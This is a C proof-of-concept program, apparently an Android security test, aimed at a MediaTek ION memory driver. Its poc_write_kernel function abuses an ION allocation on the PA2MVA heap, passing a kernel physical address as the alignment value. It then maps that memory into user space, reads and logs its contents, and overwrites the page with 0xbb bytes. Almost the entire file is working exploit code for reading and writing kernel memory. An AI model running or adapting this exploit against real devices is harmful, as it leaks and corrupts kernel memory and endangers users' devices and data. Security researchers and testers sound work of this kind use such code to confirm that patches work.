1 
2 #include <stdbool.h>
3 #include <stddef.h>
4 #include <stdint.h>
5 #include <stdio.h>
6 #include <sys/uio.h>
7 #include <stdlib.h>
8 #include <string.h>
9 #include <err.h>
10 #include <fcntl.h>
11 #include <sys/mman.h>
12 #include <sys/types.h>
13 #include <signal.h>
14 #include <sys/prctl.h>
15 #include <unistd.h>
16 #include <pthread.h>
17 #include <log/log.h>
18 
19 #define FAIL_CHECK_ALOGE(condition, error_message) \
20   if (!(condition)) { \
21     ALOGE("Check failed: " #error_message " " #condition " Line: %d", \
22             __LINE__); \
23     exit(EXIT_FAILURE); \
24   }
25 
26 typedef unsigned int u32;
27 typedef unsigned long u64;
28 
29 #define ION_IOC_MAGIC       'I'
30 
31 #define _IOC_NRBITS 8
32 #define _IOC_TYPEBITS   8
33 
34 /*
35  * Let any architecture override either of the following before
36  * including this file.
37  */
38 
39 #ifndef _IOC_SIZEBITS
40 # define _IOC_SIZEBITS  14
41 #endif
42 
43 #ifndef _IOC_DIRBITS
44 # define _IOC_DIRBITS   2
45 #endif
46 
47 #define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
48 #define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
49 #define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
50 #define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
51 
52 #define _IOC_NRSHIFT    0
53 #define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
54 #define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
55 #define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
56 
57 #ifndef _IOC_NONE
58 # define _IOC_NONE  0U
59 #endif
60 
61 #ifndef _IOC_WRITE
62 # define _IOC_WRITE 1U
63 #endif
64 
65 #ifndef _IOC_READ
66 # define _IOC_READ  2U
67 #endif
68 
69 #define _IOC(dir,type,nr,size) \
70     (((dir)  << _IOC_DIRSHIFT) | \
71      ((type) << _IOC_TYPESHIFT) | \
72      ((nr)   << _IOC_NRSHIFT) | \
73      ((size) << _IOC_SIZESHIFT))
74 
75 #ifndef __KERNEL__
76 #define _IOC_TYPECHECK(t) (sizeof(t))
77 #endif
78 
79 /* used to create numbers */
80 #define _IO(type,nr)        _IOC(_IOC_NONE,(type),(nr),0)
81 #define _IOR(type,nr,size)  _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
82 #define _IOW(type,nr,size)  _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
83 #define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
84 
85 
86 /* Structure definitions */
87 
88 enum ION_CMDS {
89     ION_CMD_SYSTEM,
90     ION_CMD_MULTIMEDIA,
91     ION_CMD_MULTIMEDIA_SEC
92 };
93 
94 struct ion_custom_data {
95     unsigned int cmd;
96     unsigned long arg;
97 };
98 
99 struct ion_fd_data {
100     int handle;
101     int fd;
102 };
103 
104 struct ion_allocation_data {
105     size_t len;
106     size_t align;
107     unsigned int heap_id_mask;
108     unsigned int flags;
109     int handle;
110 };
111 
112 struct ion_handle_data {
113     int handle;
114 };
115 
116 struct ion_heap_query {
117     __u32 cnt; /* Total number of heaps to be copied */
118     __u32 reserved0; /* align to 64bits */
119     __u64 heaps; /* buffer to be populated */
120     __u32 reserved1;
121     __u32 reserved2;
122 };
123 
124 enum ION_CACHE_SYNC_TYPE {
125     ION_CACHE_CLEAN_BY_RANGE,
126     ION_CACHE_INVALID_BY_RANGE,
127     ION_CACHE_FLUSH_BY_RANGE,
128     ION_CACHE_CLEAN_BY_RANGE_USE_VA,
129     ION_CACHE_INVALID_BY_RANGE_USE_VA,
130     ION_CACHE_FLUSH_BY_RANGE_USE_VA,
131     ION_CACHE_CLEAN_ALL,
132     ION_CACHE_INVALID_ALL,
133     ION_CACHE_FLUSH_ALL
134 };
135 
136 enum ION_SYS_CMDS {
137     ION_SYS_CACHE_SYNC,
138     ION_SYS_GET_PHYS,
139     ION_SYS_GET_CLIENT,
140     ION_SYS_SET_HANDLE_BACKTRACE,
141     ION_SYS_SET_CLIENT_NAME,
142     ION_SYS_DMA_OP,
143 };
144 
145 struct ion_sys_cache_sync_param {
146     union {
147         int handle;
148         void *kernel_handle;
149     };
150     void *va;
151     unsigned int size;
152     enum ION_CACHE_SYNC_TYPE sync_type;
153 };
154 
155 struct ion_sys_get_phys_param {
156     union {
157         int handle;
158         void *kernel_handle;
159     };
160     unsigned int phy_addr;
161     unsigned long len;
162 };
163 
164 struct ion_sys_get_client_param {
165     unsigned int client;
166 };
167 
168 #define ION_MM_DBG_NAME_LEN 48
169 #define ION_MM_SF_BUF_INFO_LEN 16
170 
171 struct ion_sys_client_name {
172     char name[ION_MM_DBG_NAME_LEN];
173 };
174 
175 #define BACKTRACE_SIZE 10
176 
177 struct ion_sys_record_param {
178     pid_t group_id;
179     pid_t pid;
180     unsigned int action;
181     unsigned int address_type;
182     unsigned int address;
183     unsigned int length;
184     unsigned int backtrace[BACKTRACE_SIZE];
185     unsigned int backtrace_num;
186     void *handle;
187     void *client;
188     void *buffer;
189     void *file;
190     int fd;
191 };
192 
193 enum ION_DMA_TYPE {
194     ION_DMA_MAP_AREA,
195     ION_DMA_UNMAP_AREA,
196     ION_DMA_MAP_AREA_VA,
197     ION_DMA_UNMAP_AREA_VA,
198     ION_DMA_FLUSH_BY_RANGE,
199     ION_DMA_FLUSH_BY_RANGE_USE_VA,
200     ION_DMA_CACHE_FLUSH_ALL
201 };
202 
203 enum ION_DMA_DIR {
204     ION_DMA_FROM_DEVICE,
205     ION_DMA_TO_DEVICE,
206     ION_DMA_BIDIRECTIONAL,
207 };
208 
209 struct ion_dma_param {
210     union {
211         int handle;
212         void *kernel_handle;
213     };
214     void *va;
215     unsigned int size;
216     enum ION_DMA_TYPE dma_type;
217     enum ION_DMA_DIR dma_dir;
218 };
219 
220 #define ION_IOC_CUSTOM      _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
221 #define ION_IOC_ALLOC       _IOWR(ION_IOC_MAGIC, 0, \
222                       struct ion_allocation_data)
223 
224 #define ION_IOC_MAP     _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
225 #define ION_IOC_SYNC        _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
226 #define ION_IOC_SHARE       _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
227 
228 struct ion_sys_data {
229     enum ION_SYS_CMDS sys_cmd;
230     union {
231         struct ion_sys_cache_sync_param cache_sync_param;
232         struct ion_sys_get_phys_param get_phys_param;
233         struct ion_sys_get_client_param get_client_param;
234         struct ion_sys_client_name client_name_param;
235         struct ion_sys_record_param record_param;
236         struct ion_dma_param dma_param;
237     };
238 };
239 
240 union ion_ioctl_arg {
241     struct ion_fd_data fd;
242     struct ion_allocation_data allocation;
243     struct ion_handle_data handle;
244     struct ion_custom_data custom;
245     struct ion_heap_query query;
246 };
247 
248 enum mtk_ion_heap_type {
249     ION_HEAP_TYPE_MULTIMEDIA = 10,
250     ION_HEAP_TYPE_FB = 11,
251     ION_HEAP_TYPE_MULTIMEDIA_FOR_CAMERA = 12,
252     ION_HEAP_TYPE_MULTIMEDIA_SEC = 13,
253     ION_HEAP_TYPE_MULTIMEDIA_MAP_MVA = 14,
254     ION_HEAP_TYPE_MULTIMEDIA_PA2MVA = 15,
255     ION_HEAP_TYPE_MULTIMEDIA_PROT = 16,
256     ION_HEAP_TYPE_MULTIMEDIA_2D_FR = 17,
257     ION_HEAP_TYPE_MULTIMEDIA_WFD = 18,
258 /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */
259 };
260 
261 
262 /*
263  * mappings of this buffer should be cached, ion will do cache maintenance
264  * when the buffer is mapped for dma
265  */
266 #define ION_FLAG_CACHED 1
267 
268 /*
269  * mappings of this buffer will created at mmap time, if this is set
270  * caches must be managed manually
271  */
272 #define ION_FLAG_CACHED_NEEDS_SYNC 2
273 
274 
275 /*
276 struct ion_client {
277     struct rb_node node;
278     struct ion_device *dev;
279     struct rb_root handles;
280     struct idr idr;
281     struct mutex lock;
282     const char *name;
283     char *display_name;
284     int display_serial;
285     struct task_struct *task;
286     pid_t pid;
287     struct dentry *debug_root;
288     char dbg_name[ION_MM_DBG_NAME_LEN];
289 };
290 */
291 // "dev" offset inside ion_client
292 #define ion_device_OFF 12
293 
294 /*
295 
296 struct ion_device {
297     struct miscdevice dev;
298     struct rb_root buffers;
299     struct mutex buffer_lock;
300     struct rw_semaphore lock;
301     struct plist_head heaps;
302     long (*custom_ioctl)(struct ion_client *client, unsigned int cmd,
303                   unsigned long arg);
304     struct rb_root clients;
305     struct dentry *debug_root;
306     struct dentry *heaps_debug_root;
307     struct dentry *clients_debug_root;
308 };
309 
310 */
311 
312 //"custom_ioctl" offset inside
313 #define custom_ioctl_OFF 100
314 
315 int g_fd = -1;
316 
317 #define MMAP_SIZE 4096
318 //#define PAGE_SIZE 4096
319 
alloc_handle(int type,unsigned long kernel_obj_addr)320 int alloc_handle(int type, unsigned long kernel_obj_addr) {
321 
322     union ion_ioctl_arg iia;
323     memset(&iia, 0, sizeof(iia));
324 
325     iia.allocation.len = MMAP_SIZE;
326     iia.allocation.align = kernel_obj_addr;
327     iia.allocation.heap_id_mask = 1 << type;
328     iia.allocation.flags = ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC;
329 
330     FAIL_CHECK_ALOGE(ioctl(g_fd, ION_IOC_ALLOC, (unsigned long)&iia) >= 0, ION_IOC_ALLOC);
331     ALOGE("ION_IOC_ALLOC success");
332     return iia.allocation.handle;
333 }
334 
poc_write_kernel()335 int poc_write_kernel() {
336 
337     g_fd = open("/dev/ion", 0x80000);
338     FAIL_CHECK_ALOGE (g_fd >= 0, failed to open ion);
339     ALOGE("[+] open /dev/ion");
340 
341     int handle = alloc_handle(ION_HEAP_TYPE_MULTIMEDIA_PA2MVA, 0x40080000);
342 
343     FAIL_CHECK_ALOGE(handle >= 0, alloc_handle failed);
344 
345     union ion_ioctl_arg iia;
346     memset(&iia, 0, sizeof(iia));
347 
348     iia.fd.handle = handle;
349 
350     FAIL_CHECK_ALOGE (ioctl(g_fd, ION_IOC_SHARE, (unsigned long)&iia) >= 0, ION_IOC_SHARE);
351     ALOGE("ION_IOC_SHARE handle success");
352 
353     int dma_fd = iia.fd.fd;
354 
355     char *re_buf = (char*) mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0);
356     FAIL_CHECK_ALOGE ((void *)re_buf != MAP_FAILED, mmap);
357 
358     ALOGE("re_buf addr:%p", re_buf);
359     ALOGE("re_buf[0]:%x", re_buf[0]);
360 
361     unsigned long read_num = 0;
362     int counter = 0;
363     unsigned long *read_buf = (unsigned long *)re_buf;
364     for (read_num = 0; read_num < MMAP_SIZE/sizeof(unsigned long); read_num++) {
365         if (read_buf[read_num]) {
366             //reduce number of log messages
367             if(counter++ % 8 == 0){
368               ALOGE("read_buf[%lu]:0x%lx", read_num, read_buf[read_num]);
369             }
370         }
371     }
372     ALOGE("read_num = %lu", read_num);
373     ALOGE("non zero = %d", counter);
374 
375     memset(re_buf, 0xbb, MMAP_SIZE);
376     munmap(re_buf, MMAP_SIZE);
377     close(dma_fd);
378     close(g_fd);
379 
380     return 0;
381 }
382 
main()383 int main() {
384     poc_write_kernel();
385     ALOGE("test end");
386     return 0;
387 }
388